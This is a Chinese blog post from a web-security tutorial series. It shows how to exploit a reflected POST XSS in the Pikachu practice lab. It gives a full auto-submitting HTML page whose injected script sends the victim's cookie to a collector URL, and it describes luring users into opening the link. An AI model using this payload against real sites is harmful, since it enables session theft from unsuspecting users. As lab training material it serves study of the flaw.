5.XSS-反射型(post)利用：获取cookie

愿听风成曲

于 2024-06-23 09:00:00 发布

阅读量265

点赞数 3

分类专栏：网络安全web测试之xss与暴漏破解文章标签： xss 前端 cookie

曲云龙

本文链接：https://blog.csdn.net/weixin_46253249/article/details/139701419

版权

网络安全web测试之xss与暴漏破解专栏收录该内容

16 篇文章 0 订阅

订阅专栏

原理：
在这里插入图片描述

文件路径：\pikachu\pkxss\xcookie\post.html
将post.html文件，复制到皮卡丘的根路径下或者根下随意路径即可，并编辑文件
需要修改以下两个地址，第一个地址是将原界面的样子链接过来，让用户认为是原界面，第二个是将cookie从数据库中提取出来的程序（注意和自己的目录相对应）
基于域名配置文件
在这里插入图片描述

基于IP地址配置文件

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.30.168/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://192.168.30.168/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
	</script>"
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

然后将url：www.pikachu.net/post.html发给用户访问，会直接跳转到post型链接上；
用户误以为是正常网站去访问
在这里插入图片描述

在pkxss平台直接获取用户信息

在这里插入图片描述

愿听风成曲

关注

3
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
5.XSS-反射型(post)利用：获取cookie

需要修改以下两个地址，第一个地址是将原界面的样子链接过来，让用户认为是原界面，第二个是将cookie从数据库中提取出来的程序（注意和自己的目录相对应）然后将url：www.pikachu.net/post.html发给用户访问，会直接跳转到post型链接上；将post.html文件，复制到皮卡丘的根路径下或者根下随意路径即可，并编辑文件。文件路径：\pikachu\pkxss\xcookie\post.html。在pkxss平台直接获取用户信息。用户误以为是正常网站去访问。基于IP地址配置文件。
复制链接

扫一扫